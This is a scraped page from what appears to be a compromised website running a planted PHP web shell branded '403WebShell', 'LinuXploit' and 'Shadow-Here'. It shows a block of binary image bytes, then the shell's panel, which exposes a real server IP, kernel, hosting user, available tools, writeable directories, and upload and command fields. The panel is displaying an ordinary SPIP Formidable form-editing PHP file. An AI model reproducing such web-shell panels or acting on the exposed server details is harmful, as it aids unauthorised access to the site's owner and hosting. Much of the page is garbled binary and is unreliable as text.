....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 213.186.33.2  /  Your IP : 216.73.216.250
Web Server : Apache
System : Linux webd003.cluster102.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : uneseuleoc ( 96096)
PHP Version : 7.4.33
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/uneseuleoc/www/plugins/auto/formidable/v5.3.2/formulaires/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/uneseuleoc/www/plugins/auto/formidable/v5.3.2/formulaires/editer_formulaire_champs.php
<?php

// Sécurité
if (!defined('_ECRIRE_INC_VERSION')) {
	return;
}

function formulaires_editer_formulaire_champs_charger($id_formulaire) {
	$id_formulaire = intval($id_formulaire);
	$contexte = array();
	$contexte['id_formulaire'] = $id_formulaire;
	include_spip('formidable_fonctions');

	// On teste si le formulaire existe
	if ($id_formulaire
		and $formulaire = sql_fetsel('*', 'spip_formulaires', 'id_formulaire = '.$id_formulaire)
		and autoriser('editer', 'formulaire', $id_formulaire)
	) {
		$saisies = formidable_deserialize($formulaire['saisies']);

		// Est-ce qu'on restaure une révision ?
		if ($id_version = _request('id_version')) {
			include_spip('inc/revisions');
			$old = recuperer_version($id_formulaire, 'formulaire', $id_version);
			$saisies = formidable_deserialize($old['saisies']);
		}
		if (!is_array($saisies)) {
			$saisies = array();
		}
		$contexte['_saisies'] = $saisies;
		$contexte['id'] = $id_formulaire;
		$contexte['saisie_id'] = "formidable_$id_formulaire";

		// Les options globales que l'on permet de configurer pour le contexte de Formidables
		$contexte['_options_globales'] = array(
			array(
				'saisie' => 'fieldset',
				'options' => array(
					'nom' => 'submit',
					'label' => _T('formidable:editer_globales_submit_label')
				),
				'saisies' => array(
					array(
						'saisie' => 'input',
						'options' => array(
							'nom' => 'texte_submit',
							'label' => _T('formidable:editer_globales_texte_submit_label'),
						),
					),
					array(
						'saisie' => 'textarea',
						'options' => array(
							'nom' => 'afficher_si_submit',
							'explication' => _T('saisies:option_afficher_si_explication'),
							'label' => _T('formidable:editer_globales_afficher_si_submit_label'),
							'rows' => '10',
						),
						'verifier' => array(
							'type' => 'afficher_si',
						)
					)
				)
			),
			array(
				'saisie' => 'fieldset',
				'options' => array(
					'nom' => 'etapes',
					'label' => _T('formidable:editer_globales_etapes_label')
				),
				'saisies' => array(
					array(
						'saisie' => 'case',
						'options' => array(
							'nom' => 'etapes_activer',
							'label_case' => _T('formidable:editer_globales_etapes_activer_label_case'),
							'conteneur_class' => 'pleine_largeur',
							'explication' => _T('formidable:editer_globales_etapes_activer_explication'),
						),
					),
					array(
						'saisie' => 'radio',
						'options' => array(
							'nom' => 'etapes_presentation',
							'label' => _T('formidable:editer_globales_etapes_presentation_label'),
							'afficher_si' => '@etapes_activer@',
							'afficher_si_avec_post' => True,
							'data' => array(
								'defaut' => _T('formidable:editer_globales_etapes_presentation_defaut_label'),
								'courante' => _T('formidable:editer_globales_etapes_presentation_courante_label'),
							),
							'defaut' => 'defaut',
						),
					),
					array(
						'saisie' => 'input',
						'options' => array(
							'nom' => 'etapes_suivant',
							'label' => _T('formidable:editer_globales_etapes_suivant_label'),
							'afficher_si' => '@etapes_activer@',
							'afficher_si_avec_post' => True,
						),
					),
					array(
						'saisie' => 'input',
						'options' => array(
							'nom' => 'etapes_precedent',
							'label' => _T('formidable:editer_globales_etapes_precedent_label'),
							'afficher_si' => '@etapes_activer@',
							'afficher_si_avec_post' => True,
						),
					),
					array(
						'saisie' => 'case',
						'options' => array(
							'nom' => 'etapes_precedent_suivant_titrer',
							'label_case' => _T('formidable:editer_globales_etapes_precedent_suivant_titrer_label'),
							'afficher_si' => '@etapes_activer@',
							'afficher_si_avec_post' => True,
							'conteneur_class' => 'pleine_largeur'
						)
					),
					array(
						'saisie' => 'case',
						'options' => array(
							'nom' => 'etapes_ignorer_recapitulatif',
							'label_case' => _T('formidable:editer_globales_etapes_ignorer_recapitulatif_label_case'),
							'afficher_si' => '@etapes_activer@',
							'afficher_si_avec_post' => True,
							'conteneur_class' => 'pleine_largeur',
						),
					),
				)
			),
			array(
				'saisie' => 'fieldset',
				'options' => array(
					'nom' => 'technique',
					'label' => _T('formidable:editer_globales_technique_label')
				),
				'saisies' => array(
					array(
					'saisie' => 'case',
					'options' => array(
						'nom' => 'verifier_valeurs_acceptables',
						'label_case' => _T('saisies:verifier_valeurs_acceptables_label'),
						'conteneur_class' => 'pleine_largeur',
						'explication' => _T('saisies:verifier_valeurs_acceptables_explication'),
					)
					),
				)
			)
		);
	}

	return $contexte;
}

function formulaires_editer_formulaire_champs_verifier($id_formulaire) {
	include_spip('inc/saisies');
	$erreurs = array();
	include_spip('formidable_fonctions');
	// Si c'est pas une confirmation ni une annulation, ni un revert
	if (!_request('enregistrer_confirmation')
		and !($annulation = _request('annulation'))
		and !_request('revert')
		) {
		// On récupère le formulaire dans la session
		$saisies_nouvelles = session_get("constructeur_formulaire_formidable_$id_formulaire");
		$md5_precedent_formulaire_initial = session_get("constructeur_formulaire_formidable_$id_formulaire".'_md5_formulaire_initial');

		// On récupère les anciennes saisies
		$saisies_anciennes = sql_getfetsel(
			'saisies',
			'spip_formulaires',
			'id_formulaire = '.$id_formulaire
		);
		if (!$saisies_anciennes) {
			return $erreurs;
		}
		// On vérifie que les saisies en bases n'ont pas été modifiés depuis le début de la modification du formulaire
		// Si tel est le cas, on demande de recommencer la modif du formulaire, avec la saisie en base
		// Ne pas le faire si on est en train de restaurer une vieille version, puisque dans ce cas ce qui compte sera bien sur la veille version qu'on veut restaurer, et pas la version plus récente en base:)
		// Attention à s'assurer que tout les elements du tableau soit bien soit des tableaux, soit un string
		// En effet, le md5 du formulaire_initial est calculé à partir de ce qui est passé au squelette
		// Or dès qu'une valeur est passée à un squelette, elle est changé en string, à cause du mode de compilation (?)
		$saisies_anciennes = formidable_deserialize($saisies_anciennes);
		$saisies_anciennes_str = $saisies_anciennes;
		array_walk_recursive($saisies_anciennes_str, 'formidable_array_walk_recursive_strval');
		$md5_saisies_anciennes = md5(serialize($saisies_anciennes_str));
		if ($md5_precedent_formulaire_initial and $md5_precedent_formulaire_initial != $md5_saisies_anciennes and !_request('id_version')) {
			session_set("constructeur_formulaire_formidable_$id_formulaire", $saisies_anciennes);
			session_set("constructeur_formulaire_formidable_$id_formulaire".'_md5_formulaire_initial', $md5_saisies_anciennes);
			$erreurs['message_erreur'] = _T('formidable:erreur_saisies_modifiees_parallele');
			$erreurs['saisies_modifiees_parallele'] = _T('formidable:erreur_saisies_modifiees_parallele');
			return $erreurs;
		}

		// On compare les anciennes saisies aux nouvelles
		$comparaison = saisies_comparer($saisies_anciennes, $saisies_nouvelles);

		// S'il y a des suppressions, on demande confirmation avec attention
		if ($comparaison['supprimees']) {
			$erreurs['message_erreur'] = _T('saisies:construire_attention_supprime');
		}

		//On vérifie s'il y a pas d'incohérence dans les afficher_si
		$erreurs_afficher_si = saisies_verifier_coherence_afficher_si($saisies_nouvelles ?? []);
		if ($erreurs_afficher_si) {
			$erreurs['saisies_incoherence_afficher_si'] = True;
			if ($erreurs['message_erreur'] ?? '') {
				$erreurs['message_erreur'] .= '<br />'.$erreurs_afficher_si;
			} else {
				$erreurs['message_erreur'] = $erreurs_afficher_si;
			}
		}
	} elseif (isset($annulation) and $annulation) {
		// Si on annule on génère une erreur bidon juste pour réafficher le formulaire
		$erreurs['pouetpouet'] = true;
		$erreurs['message_erreur'] = '';
	}



	return $erreurs;
}

function formulaires_editer_formulaire_champs_traiter($id_formulaire) {
	include_spip('inc/saisies');
	include_spip('inc/formidable');
	$retours = array();
	$id_formulaire = intval($id_formulaire);
	include_spip('formidable_fonctions');

	if (_request('revert')) {
		session_set("constructeur_formulaire_formidable_$id_formulaire");
		$retours = array('editable'=>true);
	}

	if (_request('enregistrer') or _request('enregistrer_confirmation')) {
		// On récupère le formulaire dans la session
		$saisies_nouvelles = session_get("constructeur_formulaire_formidable_$id_formulaire");

		// On récupère les anciennes saisies
		$saisies_anciennes = formidable_deserialize(sql_getfetsel(
			'saisies',
			'spip_formulaires',
			'id_formulaire = '.$id_formulaire
		));

		// On envoie les nouvelles dans la table
		include_spip('action/editer_objet');
		$err = objet_modifier('formulaire', $id_formulaire, array('saisies' => formidable_serialize(saisies_identifier($saisies_nouvelles))));

		// Si c'est bon on appelle d'éventuelles fonctions d'update des traitements
		// On reinitialise aussi les sessions
		// puis on renvoie vers la config des traitements
		if (!$err) {
			session_set("constructeur_formulaire_formidable_$id_formulaire");
			session_set("constructeur_formulaire_formidable_$id_formulaire".'_md5_formulaire_initial');
			// On va chercher les traitements
			$traitements = formidable_deserialize(sql_getfetsel(
				'traitements',
				'spip_formulaires',
				'id_formulaire = '.$id_formulaire
			));

			// Pour chaque traitements on regarde s'i y a une fonction d'update
			if (is_array($traitements)) {
				foreach ($traitements as $type_traitement => $traitement) {
					if ($update = charger_fonction('update', "traiter/$type_traitement", true)) {
						$update($id_formulaire, $traitement, $saisies_anciennes, $saisies_nouvelles);
					}
				}
			}
			// On redirige vers la config suivante
			$retours['redirect'] = parametre_url(
				parametre_url(
					parametre_url(
						generer_url_ecrire('formulaire_edit'),
						'id_formulaire',
						$id_formulaire
					),
					'configurer',
					'traitements'
				),
				'avertissement',
				'oui'
			);
			if ($id_version = _request('id_version')) {
				$retours['redirect'] = parametre_url($retours['redirect'], 'id_version', $id_version);
			}
		}
	}

	return $retours;
}

Youez - 2016 - github.com/yon3zu
LinuXploit